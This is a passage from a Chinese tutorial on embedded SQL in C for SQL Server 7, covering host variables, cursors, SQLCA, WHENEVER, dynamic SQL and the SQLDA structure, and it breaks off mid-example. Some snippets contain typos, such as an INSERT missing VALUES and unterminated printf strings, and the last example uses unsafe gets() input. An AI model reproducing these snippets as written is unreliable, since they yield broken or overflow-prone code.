<P>从这个程序看出，预编译器的处理方法是，注释了嵌入的SQL语句，用一些特定的函数代替，如sqlxcall。这些函数调用sqlakw32.dll，而sqlakw32.dll调用了DB-Library（ntwdblib.dll）来访问SQL Server服务器。所以，必须保证应用程序能够访问到sqlakw32.dll、ntwdblib.dll和dbnmpntw.dll。预编译器nsqlprep.exe有很多选项，具体这些选项信息可参见帮助。<BR>l“cl -o demo.exe e:\mssql7\devtools\lib\sqlakw32.lib \<BR>e:\mssql7\devtools\lib\caw32.lib demo.c”的作用是C源程序的编译和链接。cl是编译和链接命令的集成命令，编译的结果是产生demo.obj，在链接时，将C的系统库和SQL Server提供的库文件（sqlakw32.lib和caw32.lib）同目标文件连接在一起。最后生成demo.exe。也可以使用“SET LIB=e:\mssql7\devtools\LIB;%LIB%”语句设置库文件的环境信息。<BR>设置SQL Server相关的头文件和库文件环境信息，也可以执行mssql7\devtools\samples\esqlc\setenv.bat程序完成。<BR>在运行demo.exe程序时，对于每个SQL语句，都调用相应的运行中的服务（如：sqlakw32.dll）。如果该语句是静态SQL语句，那么该服务执行SQL语句或执行一个已编译成功的存储过程（可以在编译时使用/SQLACCESS选项为静态SQL语句创建存储过程）；如果该语句是动态SQL语句，那么该服务将SQL语句送到SQL Server上处理。这个服务调用DB-Library，在客户和服务器之间传递数据。这些数据要么存放在主变量中，要么存放在SQLDA结构中。执行SQL语句的错误信息存放在SQLCA数据结构中。<BR>下图总结了整个处理过程。 
<P>6-7 嵌入SQL程序处理过程<BR>一个应用中的静态SQL语句，可以在运行时才发送到服务器端处理（类似动态SQL语句），或者生成执行计划（access plan）。一个执行计划就是一些存储过程。每个静态SQL语句可以生成一个存储过程。在预编译时，可以创建执行计划。如果在预编译时，服务器不可访问，那么预编译器创建绑定文件（bind file）。绑定文件就是用来创建执行计划中的存储过程的一些Transact-SQL脚本。在运行应用程序前，你可以通过OSQL执行绑定文件。上面这个例子，在预编译时，未指定“/DB”和“/PASS”选项（用于生成执行计划）也未指定“/BIND”选项（用于生成绑定文件），所以我们生成的应用程序对SQL语句的处理是采用类似动态SQL语句的处理方式，即在运行时才将语句送到服务器端处理。<BR>Nsqlprep.exe编译器的作用是，找出SQL语句，语法分析这些语句，创建执行计划或绑定文件，最终生成C程序。<BR>当然，以上步骤的完整，也可以在VC++（版本2.0以上）集成环境中完成。<BR>6.3 嵌入SQL语句<BR>下表是所有的嵌入式SQL语句，“*”表示嵌入式SQL语句的名字同Transact-SQL语句相同。 
<P>BEGIN DECLARE SECTION PREPARE <BR>CLOSE* SELECT INTO* <BR>CONNECT TO SET ANSI_DEFAULTS <BR>DECLARE CURSOR* SET CONCURRENCY <BR>DELETE (POSITIONED)* SET CONNECTION <BR>DELETE (SEARCHED)* SET CURSOR_CLOSE_ON_COMMIT <BR>DESCRIBE SET CURSORTYPE <BR>DISCONNECT SET FETCHBUFFER <BR>END DECLARE SECTION SET OPTION <BR>EXECUTE* SET SCROLLOPTION <BR>EXECUTE IMMEDIATE UPDATE (POSITIONED)* <BR>FETCH* UPDATE (SEARCHED)* <BR>GET CONNECTION WHENEVER <BR>OPEN* 
<P>嵌入式SQL语句分为静态SQL语句和动态SQL语句两类。下面我们按照功能讲解这些语句。本节讲解静态SQL语句的作用。动态SQL语句将在下一节讲解。同动态SQL相关的一些语句也在下一节中讲解。<BR>6.3.1 声明嵌入SQL语句中使用的C变量<BR>1）、声明方法<BR>主变量（host variable）就是在嵌入式SQL语句中引用主语言说明的程序变量（如例1中的last_name[]变量）。如： 
<P>EXEC SQL BEGIN DECLARE SECTION;<BR>char first_name[50];<BR>char last_name[] = "White";<BR>EXEC SQL END DECLARE SECTION;<BR>…………<BR>EXEC SQL SELECT au_fname INTO :first_name<BR>from authors where au_lname = :last_name;<BR>………….<BR>在嵌入式SQL语句中使用主变量前，必须采用BEGIN DECLARE SECTION 和END DECLARE SECTION之间给主变量说明。这两条语句不是可执行语句，而是预编译程序的说明。主变量是标准的C程序变量。嵌入SQL语句使用主变量来输入数据和输出数据。C程序和嵌入SQL语句都可以访问主变量。<BR>值得注意的是，主变量的长度不能超过30字节。<BR>2）、主变量的数据类型<BR>在以SQL为基础的DBMS支持的数据类型与程序设计语言支持的数据类型之间有很大差别。这些差别对主变量影响很大。一方面，主变量是一个用程序设计语言的数据类型说明并用程序设计语言处理的程序变量；另一方面，在嵌入SQL语句中用主变量保存数据库数据。所以，在嵌入SQL语句中，必须映射C数据类型为合适的SQL Server数据类型。必须慎重选择主变量的数据类型。在SQL SERVER中，很多数据类型都能够自动转换。请看下面这个例子：<BR>EXEC SQL BEGIN DECLARE SECTION;<BR>int hostvar1 = 39;<BR>char *hostvar2 = "telescope";<BR>float hostvar3 = 355.95;<BR>EXEC SQL END DECLARE SECTION; 
<P>EXEC SQL UPDATE inventory<BR>SET department = :hostvar1<BR>WHERE part_num = "4572-3"; 
<P>EXEC SQL UPDATE inventory<BR>SET prod_descrip = :hostvar2<BR>WHERE part_num = "4572-3"; 
<P>EXEC SQL UPDATE inventory<BR>SET price = :hostvar3<BR>WHERE part_num = "4572-3";<BR>在第一个update语句中，department列为smallint数据类型（integer ），所以应该把hostvar1定义为int数据类型（integer）。这样的话，从C到SQL Server的hostvar1可以直接映射。在第二个update语句中，prod_descip列为varchar数据类型，所以应该把hostvar2定义为字符数组。这样的话，从C到SQL Server的hostvar2可以从字符数组映射为varchar数据类型。在第三个update语句中，price列为money数据类型。在C语言中，没有相应的数据类型，所以用户可以把hostvar3定义为C的浮点变量或字符数据类型。SQL Server可以自动将浮点变量转换为money数据类型（输入数据），或将money数据类型转换为浮点变量（输出数据）。<BR>注意的是，如果数据类型为字符数组，那么SQL Server会在数据后面填充空格，直到填满该变量的声明长度。<BR>在ESQL/C中，不支持所有的unicode数据类型（如：nvarchar、nchar和ntext）。对于非unicode数据类型，除了datetime、smalldatetime、money和smallmoney外（decimal和numeric数据类型部分情况下不支持），都可以相互转换。<BR>下表列出了C的数据类型和datetime、smalldatetime、money、smallmoney、decimal和numeric数据类型的一些转换关系：<BR>C数据类型分配的SQL Server数据类型Datetime或smalldatetimeMoney或smallmoneyDecimal或numeric<BR>shortSmallint不可以不可以不可以<BR>IntSmallint不可以不可以不可以<BR>LongInt不可以不可以不可以<BR>FloatReal不可以不可以不可以<BR>DoubleFloat不可以不可以不可以<BR>CharCarchar[X]可以可以可以<BR>Void *pBinary(2)可以可以可以<BR>Char bytetinyint不可以不可以不可以<BR>因为C没有date或time数据类型，所以SQL Server的date或time列将被转换为字符。缺省情况下，使用以下转换格式：mm dd yyyy hh:mm:ss[am | pm]。你也可以使用字符数据格式将C的字符数据存放到SQL Server的date列上。你也可以使用Transact-SQL中的convert语句来转换数据类型。如：SELECT CONVERT(char, date, 8) FROM sales。 
<P>3）、主变量和NULL<BR>大多数程序设计语言（如C）都不支持NULL。所以对NULL的处理，一定要在SQL中完成。我们可以使用主机指示符变量（host indicator variable）来解决这个问题。在嵌入式SQL语句中，主变量和指示符变量共同规定一个单独的SQL类型值。如：<BR>EXEC SQL SELECT price INTO :price:price_nullflag FROM titles <BR>WHERE au_id = "mc3026"<BR>其中，price是主变量，price_nullflag是指示符变量。指示符变量共有两类值：<BR>l-1。表示主变量应该假设为NULL。（注意：主变量的实际值是一个无关值，不予考虑）。<BR>l&gt;0。表示主变量包含了有效值。该指示变量存放了该主变量数据的最大长度。<BR>所以，上面这个例子的含义是：如果不存在mc3026写的书，那么price_nullflag为-1，表示price为NULL；如果存在，则price为实际的价格。<BR>下面我们再看一个update的例子：<BR>EXEC SQL UPDATE closeoutsale<BR>SET temp_price = :saleprice :saleprice_null, listprice = :oldprice;<BR>如果saleprice_null是-1，则上述语句等价为：<BR>EXEC SQL UPDATE closeoutsale<BR>SET temp_price = null, listprice = :oldprice;<BR>我们也可以在指示符变量前面加上“INDICATOR”关键字，表示后面的变量为指示符变量。如：<BR>EXEC SQL UPDATE closeoutsale<BR>SET temp_price = :saleprice INDICATOR :saleprice_null;<BR>值得注意的是，不能在WHERE语句后面使用指示符变量。如：<BR>EXEC SQL DELETE FROM closeoutsale<BR>WHERE temp_price = :saleprice :saleprice_null;<BR>你可以使用下面语句来完成上述功能：<BR>if (saleprice_null == -1)<BR>{<BR>EXEC SQL DELETE FROM closeoutsale<BR>WHERE temp_price IS null;<BR>}<BR>else<BR>{<BR>EXEC SQL DELETE FROM closeoutsale<BR>WHERE temp_price = :saleprice;<BR>} 
<P>为了便于识别主变量，当嵌入式SQL语句中出现主变量时，必须在变量名称前标上冒号（：）。冒号的作用是，告诉预编译器，这是个主变量而不是表名或列名。<BR>6.3.2 连接数据库<BR>在程序中，使用“CONNECT TO”语句来连接数据库。该语句的完整语法为：<BR>CONNECT TO {[server_name.]database_name} [AS connection_name] USER [login[.password] | $integrated] <BR>其中，<BR>lserver_name为服务器名。如省略，则为本地服务器名。<BR>ldatabase_name为数据库名。<BR>lconnection_name为连接名。可省略。如果你仅仅使用一个连接，那么无需指定连接名。可以使用SET CONNECTION来使用不同的连接。<BR>llogin为登录名。<BR>lpassword为密码。<BR>在上例中的“ EXEC SQL CONNECT TO YANGZH.pubs USER sa.password; ”，服务器是YANGZH，数据库为pubs，登录名为sa，密码为password。缺省的超时时间为10秒。如果指定连接的服务器没有响应这个连接请求，或者连接超时，那么系统会返回错误信息。我们可以使用“SET OPTION”命令设置连接超时的时间值。<BR>在嵌入SQL语句中，使用DISCONNECT语句断开数据库的连接。其语法为：<BR>DISCONNECT [connection_name | ALL | CURRENT]<BR>其中，connection_name为连接名。ALL表示断开所有的连接。CURRENT表示断开当前连接。请看下面这些例子来理解CONNECT和DISCONNECT语句。 
<P>EXEC SQL CONNECT TO caffe.pubs AS caffe1 USER sa;<BR>EXEC SQL CONNECT TO latte.pubs AS latte1 USER sa;<BR>EXEC SQL SET CONNECTION caffe1;<BR>EXEC SQL SELECT name FROM sysobjects INTO :name;<BR>EXEC SQL SET CONNECTION latte1;<BR>EXEC SQL SELECT name FROM sysobjects INTO :name;<BR>EXEC SQL DISCONNECT caffe1;<BR>EXEC SQL DISCONNECT latte1;<BR>在上面这个例子中，第一个select 语句查询在caffe服务器上的pubs 数据库。第二个SELECT语句查询在latte服务器上的pubs数据库。当然，你也可以使用“EXEC SQL DISCONNECT ALL; ”来断开所有的连接。<BR>6.3.3 数据的查询和修改<BR>可以使用SELECT INTO语句查询数据，并将数据存放在主变量中。如上例中的：<BR>EXEC SQL SELECT au_fname INTO :first_name<BR>from authors where au_lname = :last_name;<BR>使用DELETE语句删除数据。其语法类似于Transact-SQL中的DELETE语法。如：<BR>EXEC SQL DELETE FROM authors WHERE au_lname = 'White'<BR>使用UPDATE语句可以更新数据。其语法就是Transact-SQL中的UPDATE语法。如：<BR>`EXEC SQL UPDATE authors SET au_fname = 'Fred' WHERE au_lname = 'White'<BR>使用INSERT语句可以插入新数据。其语法就是Transact-SQL中的INSERT语法。如：<BR>EXEC SQL INSERT INTO homesales (seller_name, sale_price)<BR>real_estate('Jane Doe', 180000.00);<BR>多行数据的查询和修改请参见下一节——游标。<BR>6.3.4 游标的使用<BR>用嵌入式SQL语句查询数据分成两类情况。一类是单行结果，一类是多行结果。对于单行结果，可以使用SELECT INTO语句；对于多行结果，你必须使用cursor（游标）来完成。游标(Cursor)是一个与SELECT语句相关联的符号名，它使用户可逐行访问由SQL Server返回的结果集。先请看下面这个例子，这个例子的作用是逐行打印staff表的id、name、dept、 job、years、salary和comm的值。 
<P>EXEC SQL DECLARE C1 CURSOR FOR<BR>SELECT id, name, dept, job, years, salary, comm FROM staff; 
<P>EXEC SQL OPEN c1; 
<P>while (SQLCODE == 0)<BR>{<BR>/* SQLCODE will be zero if data is successfully fetched */ 
<P>EXEC SQL FETCH c1 INTO :id, :name, :dept, :job, :years, :salary, :comm;<BR>if (SQLCODE == 0)<BR>printf("%4d %12s %10d %10s %2d %8d %8d",<BR>id, name, dept, job, years, salary, comm);<BR>}<BR>EXEC SQL CLOSE c1; 
<P>从上例看出，你首先应该定义游标结果集，即定义该游标的SELECT语句返回的行的集合。然后，使用FETCH语句逐行处理。<BR>值得注意的是，嵌入SQL语句中的游标定义选项同Transact-SQL 中的游标定义选项有些不同。必须遵循嵌入SQL语句中的游标定义选项。<BR>1）、声明游标：<BR>如：EXEC SQL DECLARE C1 CURSOR FOR<BR>SELECT id, name, dept, job, years, salary, comm FROM staff;<BR>2）、打开游标<BR>如：EXEC SQL OPEN c1;<BR>完整语法为：OPEN 游标名 [USING 主变量名 | DESCRIPTOR 描述名]。关于动态OPEN游标的描述见第四节。<BR>3）、取一行值<BR>如：EXEC SQL FETCH c1 INTO :id, :name, :dept, :job, :years, :salary, :comm;<BR>关于动态FETCH语句见第四节。<BR>4）、关闭游标<BR>如：EXEC SQL CLOSE c1;<BR>关闭游标的同时，会释放由游标添加的锁和放弃未处理的数据。在关闭游标前，该游标必须已经声明和打开。另外，程序终止时，系统会自动关闭所有打开的游标。<BR>也可以使用UPDATE语句和DELETE语句来更新或删除由游标选择的当前行。使用DELETE语句删除当前游标所在的行数据的具体语法如下：<BR>DELETE [FROM] {table_name | view_name} WHERE CURRENT OF cursor_name<BR>其中，<BR>ltable_name是表名，该表必须是DECLARE CURSOR中SELECT语句中的表。<BR>lview_name是视图名，该视图必须是DECLARE CURSOR中SELECT语句中的视图。<BR>lcursor_name是游标名。<BR>请看下面这个例子，逐行显示firstname和lastname，询问用户是否删除该信息，如果回答“是”，那么删除当前行的数据。<BR>EXEC SQL DECLARE c1 CURSOR FOR<BR>SELECT au_fname, au_lname FROM authors FOR BROWSE; 
<P>EXEC SQL OPEN c1; 
<P>while (SQLCODE == 0)<BR>{<BR>EXEC SQL FETCH c1 INTO :fname, :lname;<BR>if (SQLCODE == 0)<BR>{<BR>printf("%12s %12s\n", fname, lname);<BR>printf("Delete? ");<BR>scanf("%c", &amp;reply);<BR>if (reply == 'y')<BR>{<BR>EXEC SQL DELETE FROM authors WHERE CURRENT OF c1;<BR>printf("delete sqlcode= %d\n", SQLCODE(ca));<BR>}<BR>}<BR>}<BR><BR>6.3.5 SQLCA<BR>DBMS是通过SQLCA（SQL通信区）向应用程序报告运行错误信息（见3.4中的例子）。SQLCA是一个含有错误变量和状态指示符的数据结构。通过检查SQLCA，应用程序能够检查出嵌入式SQL语句是否成功，并根据成功与否决定是否继续往下执行。预编译器自动在嵌入SQL语句中包含SQLCA数据结构（见第二节的例子demo.c）。在程序中可以使用EXEC SQL INCLUDE SQLCA，目的是告诉SQL预编译程序在该程序中包含一个SQL通信区。也可以不写，系统会自动加上SQLCA结构。<BR>1）、SQLCODE<BR>SQLCA结构中最重要的部分是SQLCODE变量。在执行每条嵌入式SQL语句时，DBMS在SQLCA中设置变量SQLCODE值，以指明语句的完成状态：<BR>2、0该语句成功执行，无任何错误或报警。<BR>2、&lt;0 出现了严重错误。<BR>3、&gt;0 出现了报警信息。<BR>2）、SQLSTATE<BR>SQLSTATE变量也是SQLCA结构中的成员。它同SQLCODE一样，都是返回错误信息。SQLSTATE是在SQLCODE之后产生的。这是因为，在制定SQL2标准之前，各个数据库厂商都采用SQLCODE变量来报告嵌入式SQL语句中的错误状态。但是，各个厂商没有采用标准的错误描述信息和错误值来报告相同的错误状态。所以，标准化组织增加了SQLSTATE变量，规定了通过SQLSTATE变量报告错误状态和各个错误代码。因此，目前使用SQLCODE的程序仍然有效，但也可用标准的SQLSTATE错误代码编写新程序。<BR>6.3.6 WHENEVER<BR>在每条嵌入式SQL语句之后立即编写一条检查SQLCODE/SQLSTATE值的程序，是一件很繁琐的事情。为了简化错误处理，可以使用WHENEVER语句。该语句是SQL预编译程序的指示语句，而不是可执行语句。它通知预编译程序在每条可执行嵌入式SQL语句之后自动生成错误处理程序，并指定了错误处理操作。<BR>用户可以使用WHENEVER语句通知预编译程序去如何处理三种异常处理：<BR>lWHENEVER SQLERROR action：表示一旦sql语句执行时遇到错误信息，则执行action，action中包含了处理错误的代码（SQLCODE&lt;0）。<BR>lWHENEVER SQLWARNING action：表示一旦sql语句执行时遇到警告信息，则执行aciton，即action中包含了处理警报的代码（SQLCODE=1）。<BR>lWHENEVER NOT FOUND：表示一旦sql语句执行时没有找到相应的元组，则执行action，即action包含了处理没有查到内容的代码（SQLCODE=100）。<BR>针对上述三种异常处理，用户可以指定预编译程序采取以下三种行为（action）：<BR>lWHENEVER …GOTO：通知预编译程序产生一条转移语句。<BR>lWHENEVER…CONTINUE：通知预编译程序让程序的控制流转入到下一个主语言语句。<BR>lWHENEVER…CALL：通知预编译程序调用函数。<BR>其完整语法如下：<BR>WHENEVER {SQLWARNING | SQLERROR | NOT FOUND} {CONTINUE | GOTO stmt_label | CALL function()} 
<P><BR>例：WHENEVER的作用<BR>EXEC SQL WHENEVER sqlerror GOTO errormessage1;<BR>EXEC SQL DELETE FROM homesales<BR>WHERE equity &lt; 10000;<BR>EXEC SQL DELETE FROM customerlist<BR>WHERE salary &lt; 40000;<BR>EXEC SQL WHENEVER sqlerror CONTINUE;<BR>EXEC SQL UPDATE homesales<BR>SET equity = equity - loanvalue;<BR>EXEC SQL WHENEVER sqlerror GOTO errormessage2;<BR>EXEC SQL INSERT INTO homesales (seller_name, sale_price)<BR>real_estate('Jane Doe', 180000.00);<BR>.<BR>.<BR>.<BR>errormessage1:<BR>printf("SQL DELETE error: %ld\n, sqlcode);<BR>exit(); 
<P>errormessage2:<BR>printf("SQL INSERT error: %ld\n, sqlcode);<BR>exit();<BR>WHENEVER语句是预编译程序的指示语句。在上面这个例子中，由于第一个WHENEVER语句的作用，前面两个DELETE语句中任一语句内的一个错误会在errormessage1中形成一个转移指令。由于一个WHENEVER语句替代前面WHENEVER语句，所以，嵌入式UPDATE语句中的一个错误会直接转入下一个程序语句中。嵌入式INSERT语句中的一个错误会在errormessage2中产生一条转移指定。<BR>从上面例子看出，WHENEVER/CONTINUE语句的主要作用是取消先前的WHENEVER语句的作用。WHENEVER语句使得对嵌入式SQL错误的处理更加简便。应该在应用程序中普遍使用，而不是直接检查SQLCODE的值。<BR>6.4动态SQL语句<BR>前一节中讲述的嵌入SQL语言都是静态SQL语言，即在编译时已经确定了引用的表和列。主变量不改变表和列信息。在上几节中，我们使用主变量改变查询参数，但是不能用主变量代替表名或列名。否则，系统报错。动态SQL语句就是来解决这个问题。<BR>动态SQL语句的目的是，不是在编译时确定SQL的表和列，而是让程序在运行时提供，并将SQL语句文本传给DBMS执行。静态SQL语句在编译时已经生成执行计划。而动态SQL语句，只有在执行时才产生执行计划。动态SQL语句首先执行PREPARE语句要求DBMS分析、确认和优化语句，并为其生成执行计划。DBMS还设置SQLCODE以表明语句中发现的错误。当程序执行完“PREPARE”语句后，就可以用EXECUTE语句执行执行计划，并设置SQLCODE，以表明完成状态。<BR>按照功能和处理上的划分，动态SQL应该分成两类来解释：动态修改和动态查询。动态修改的例子参见4.1。动态查询的例子参见4.3。<BR><BR>6.4 .1 动态修改<BR>动态修改使用PREPARE语句和EXECUTE语句。PREPARE语句是动态SQL语句独有的语句。其语法为：<BR>PREPARE 语句名 FROM 主变量<BR>该语句接收含有SQL语句串的主变量，并把该语句送到DBMS。DBMS编译语句并生成执行计划。在语句串中包含一个“？”表明参数，当执行语句时，DBMS需要参数来替代这些“？”。PREPRARE执行的结果是，DBMS把语句名赋给准备的语句。语句名类似于游标名，是一个SQL标识符。在执行SQL语句时，EXECUTE语句后面是这个语句名。请看下面这个例子：<BR>EXEC SQL BEGIN DECLARE SECTION;<BR>char prep[] = "INSERT INTO mf_table VALUES(?,?,?)";<BR>char name[30];<BR>char car[30];<BR>double num;<BR>EXEC SQL END DECLARE SECTION;<BR>EXEC SQL PREPARE prep_stat FROM :prep;<BR>while (SQLCODE == 0)<BR>{<BR>strcpy(name, "Elaine");<BR>strcpy(car, "Lamborghini");<BR>num = 4.9;<BR>EXEC SQL EXECUTE prep_stat USING :name, :car, :num;<BR>}<BR>在这个例子中，prep_stat是语句名，prep主变量的值是一个INSERT语句，包含了三个参数（3个“？”）。PREPARE的作用是，DBMS编译这个语句并生成执行计划，并把语句名赋给这个准备的语句。<BR>值得注意的是，PREPARE中的语句名的作用范围为整个程序，所以不允许在同一个程序中使用相同的语句名在多个PREPARE语句中。<BR>EXECUTE语句是动态SQL独有的语句。它的语法如下：<BR>EXECUTE 语句名 USING 主变量 | DESCRIPTOR 描述符名<BR>请看上面这个例子中的“EXEC SQL EXECUTE prep_stat USING :name, :car, :num;”语句，它的作用是，请求DBMS执行PREPARE语句准备好的语句。当要执行的动态语句中包含一个或多个参数标志时，在EXECUTE语句必须为每一个参数提供值，如：:name、:car和:num。这样的话，EXECUTE语句用主变量值逐一代替准备语句中的参数标志（“？”），从而，为动态执行语句提供了输入值。<BR>使用主变量提供值，USING子句中的主变量数必须同动态语句中的参数标志数一致，而且每一个主变量的数据类型必须同相应参数所需的数据类型相一致。各主变量也可以有一个伴随主变量的指示符变量。当处理EXECUTE语句时，如果指示符变量包含一个负值，就把NULL值赋予相应的参数标志。除了使用主变量为参数提供值，也可以通过SQLDA提供值（见节4.4）。<BR>6.4.2 动态游标<BR>游标分为静态游标和动态游标两类。对于静态游标，在定义游标时就已经确定了完整的SELECT语句。在SELECT语句中可以包含主变量来接收输入值。当执行游标的OPEN语句时，主变量的值被放入SELECT语句。在OPEN语句中，不用指定主变量，因为在DECLARE CURSOR语句中已经放置了主变量。请看下面静态游标的例子：<BR>EXEC SQL BEGIN DECLARE SECTION;<BR>char szLastName[] = "White";<BR>char szFirstName[30];<BR>EXEC SQL END DECLARE SECTION; 
<P>EXEC SQL<BR>DECLARE author_cursor CURSOR FOR<BR>SELECT au_fname FROM authors WHERE au_lname = :szLastName; 
<P>EXEC SQL OPEN author_cursor; 
<P>EXEC SQL FETCH author_cursor INTO :szFirstName;<BR>动态游标和静态游标不同。以下是动态游标使用的句法（请参照本小节后面的例子来理解动态游标）。<BR>1）、声明游标：<BR>对于动态游标，在DECLARE CURSOR语句中不包含SELECT语句。而是，定义了在PREPARE中的语句名，用PREPARE语句规定与查询相关的语句名称。<BR>2）、打开游标<BR>完整语法为：OPEN 游标名 [USING 主变量名 | DESCRIPTOR 描述名]<BR>在动态游标中，OPEN语句的作用是使DBMS在第一行查询结果前开始执行查询并定位相关的游标。当OPEN语句成功执行完毕后，游标处于打开状态，并为FETCH语句做准备。OPEN语句执行一条由PREPARE语句预编译的语句。如果动态查询正文中包含有一个或多个参数标志时，OPEN语句必须为这些参数提供参数值。USING子句的作用是规定参数值。<BR>3）、取一行值<BR>FETCH语法为：FETCH 游标名 USING DESCRIPTOR 描述符名。<BR>动态FETCH语句的作用是，把这一行的各列值送到SQLDA中，并把游标移到下一行。（注意，静态FETCH语句的作用是用主变量表接收查询到的列值。）<BR>在使用FETCH语句前，必须为数据区分配空间，SQLDATA字段指向检索出的数据区。SQLLEN字段是SQLDATA指向的数据区的长度。SQLIND字段指出是否为NULL。关于SQLDA，见下一节。<BR>4）、关闭游标<BR>如：EXEC SQL CLOSE c1;<BR>关闭游标的同时，会释放由游标添加的锁和放弃未处理的数据。在关闭游标前，该游标必须已经声明和打开。另外，程序终止时，系统会自动关闭所有打开的游标。<BR>在动态游标的DECLARE CURSOR语句中不包含SELECT语句。而是，定义了在PREPARE中的语句名，用PREPARE语句规定与查询相关的语句名称。当PREPARE语句中的语句包含了参数，那么在OPEN语句中必须指定提供参数值的主变量或SQLDA。动态DECLARE CURSOR语句是SQL预编译程序中的一个命令，而不是可执行语句。该子句必须在OPEN、FETCH、CLOSE语句之前使用。请看下面这个例子：<BR>EXEC SQL BEGIN DECLARE SECTION;<BR>char szCommand[] = "SELECT au_fname FROM authors WHERE au_lname = ?";<BR>char szLastName[] = "White";<BR>char szFirstName[30];<BR>EXEC SQL END DECLARE SECTION; 
<P>EXEC SQL DECLARE author_cursor CURSOR FOR select_statement; 
<P>EXEC SQL PREPARE select_statement FROM :szCommand; 
<P>EXEC SQL OPEN author_cursor USING :szLastName; 
<P>EXEC SQL FETCH author_cursor INTO :szFirstName; 
<P>一个很实际的例子在4.4讲解。<BR>6.4.3 SQLDA<BR>可以通过SQLDA为嵌入SQL语句提供输入数据和从嵌入SQ语句中输出数据。理解SQLDA的结构是理解动态SQL的关键。<BR>我们知道，动态SQL语句在编译时可能不知道有多少列信息。在嵌入SQL语句中，这些不确定的数据是通过SQLDA完成的。SQLDA的结构非常灵活，在该结构的固定部分，指明了多少列等信息（如下图中的sqld=2，表示为两列信息），在该结构的后面，有一个可变长的结构（SQLVAR结构），说明每列的信息。<BR><BR>SQLDA结构<BR>Sqld=2<BR>sqlvar<BR>…… 
<P><BR><BR>Sqltype=500<BR>Sqllen<BR>sqldata<BR>…..<BR><BR>Sqltype=501<BR>Sqllen<BR>Sqldata<BR>….. 
<P>
<P>图6-8 SQLDA结构示例<BR>具体SQLDA的结构在sqlda.h中定义，是：<BR>struct sqlda <BR>{ <BR>unsigned char sqldaid[8]; // Eye catcher = 'SQLDA ' <BR>long sqldabc; // SQLDA size in bytes = 16+44*SQLN <BR>short sqln; // Number of SQLVAR elements <BR>short sqld; // Num of used SQLVAR elements <BR>struct sqlvar <BR>{ <BR>short sqltype; // Variable data type <BR>short sqllen; // Variable data length <BR>// Maximum amount of data &lt; 32K<BR>unsigned char FAR *sqldata; // Pointer to variable data value <BR>short FAR *sqlind; // Pointer to null indicator <BR>struct sqlname // Variable name <BR>{ <BR>short length; // Name length [1..30] <BR>unsigned char data[30]; // Variable or column name <BR>} sqlname; <BR>} sqlvar[1]; <BR>}; <BR>从上面这个定义看出，SQLDA是一种由两个不同部分组成的可变长数据结构。从位于SQLDA开端的sqldaid到dqld为固定部分，用于标志该SQLDA，并规定这一特定的SQLDA的长度。而后是一个或多个sqlvar结构 ，用于标志列数据。当用SQLDA把参数送到执行语句时，每一个参数都是一个sqlvar结构；当用SQLDA返回输出列信息时，每一列都是一个sqlvar结构。具体每个元素的含义为：<BR>lSqldaid。用于输入标志信息，如：“SQLDA”。<BR>lSqldabc。SQLDA数据结果的长度。应该是16+44*SQLN。Sqldaid、sqldabc、sqln和sqld的总长度为16个字节。而sqlvar结构的长度为44个字节。<BR>lSqln。分配的Sqlvar结构的个数。等价于输入参数的个数或输出列的个数。<BR>lSqld。目前使用的sqlvar结构的个数。<BR>lSqltype。代表参数或列的数据类型。它是一个整数数据类型代码。如：500代表二字节整数。具体每个整数的含义见下表：<BR>Sqltype代码说明SQL Server数据类型例子<BR>392/39326字节长的包含日期和时间的字符串Datetime，smalldatetimechar date1[27] = Mar 7 1988 7:12PM;<BR>444/445BinaryBinary,varbinary,image,timestampchar binary1[4097];<BR>452/453小于254字节的字符串Char,varcharchar mychar[255];<BR>456/457固定长度的长字符串textstruct TEXTVAR { short len; char data[4097];} textvar;<BR>480/4818字节的浮点数Floatdouble mydouble1;<BR>482/4834字节的浮点数realfloat myfloat1;<BR>496/4974字节的整数Intlong myint1;<BR>500/5014字节的整数Smallint,tinyint,bitshort myshort1;<BR>462/463NULL结尾的字符串Char,varchar,textchar mychar1[41]; char * mychar2; 
<P>lSqllen。代表传送数据的长度。如：2，即代表二字节整数。如果是字符串，则该数据为字符串中的字符数量。<BR>lSqldata。指向数据的地址。注意，仅仅是一个地址。<BR>lSqlind。代表是否为NULL。如果该列不允许为NULL，则该字段不赋值；如果该列允许为NULL，则：该字段若为0，表示数据值不为NULL，若为-1，表示数据值为NULL。<BR>lSqlname。代表列名或变量名。它是一个结构。包含length和data。Length是名字的长度；data是名字。 
<P>下面我们来看两个具体的例子。第一个例子是通过SQLDA查询数据库中的数据。第二个例子是通过SQLDA传递参数。<BR>我们首先看一个动态查询的例子。这个例子的作用是，由用户输入表名，查询系统表获得该表的列信息，询问用户是否显示该列数据，若是，则显示；否则，不显示。动态查询的执行过程如下：<BR>1）、如同构造动态UPDATE语句或DELETE语句的方法一样，程序在缓冲器中构造一个有效的SELECT语句。<BR>2）、动态DECLARE CURSOR语句说明查询游标，动态DECLARE CURSOR语句规定与动态SELECT语句有关的语句名称。如：例子中的querystmt。<BR>3）、程序用PREPARE语句把动态查询语句送到DBMS，DBMS准备、确认和优化语句，并生成一个应用计划。<BR>4）、程序用DESCRIBE语句请求DBMS提供SQLDA中描述信息，即告诉程序有多少列查询结果、各列名称、数据类型和长度。DESCRIBE语句只用于动态查询。具体见下一节。<BR>5）、为SQLDA申请存放一列查询结果的存储块（即：sqldata指向的数据区），也为SQLDA的列的指示符变量申请空间。程序把数据区地址和指示符变量地址送入SQLDA，以告诉DBMS向何处回送查询结果。<BR>6）、动态格式的OPEN语句。即打开存放查询到的数据集（动态SELECT语句产生的数据）的第一行。<BR>7）、动态格式的FETCH语句把游标当前行的结果送到SQLDA。（动态FETCH语句和静态FETCH语句的不同是：静态FETCH语句规定了用主变量接收数据；而动态FETCH语句是用SQLDA接收数据。）并把游标指向下一行结果集。<BR>8）、CLOSE语句关闭游标。 
<P>Main()<BR>{<BR>exec sql include sqlca;<BR>exec sql include sqlda;<BR>exec sql begin declare section;<BR>char stmbuf[2001];<BR>char querytbl[32];<BR>char querycol[32];<BR>exec sql end declare section;<BR>/*静态游标*/<BR>exec sql declare tblcurs cursor for<BR>select colname from syscolumns<BR>where tblname = :querytbl;<BR>int colcount = 0;<BR>struct sqlda * qry_da;<BR>struct sqlvar *qry_var;<BR>int I;<BR>char inbuf[101];<BR>/*提示输入想要查询的表名*/<BR>printf(“***Enter name of table for query: “);<BR>gets(querytbl);<BR>/*生成SELECT语句中的选择列表*/<BR>strcpy(stmbuf,”select “);<BR>/*设置错误处理过程*/<BR>exec sql whenever sqlerror goto handle_error;<BR>exec sql whenever not found goto no_more_columns;<BR>/*查询系统表，获得列名信息*/<BR>exec sql open tblcurs;<BR>for( ; 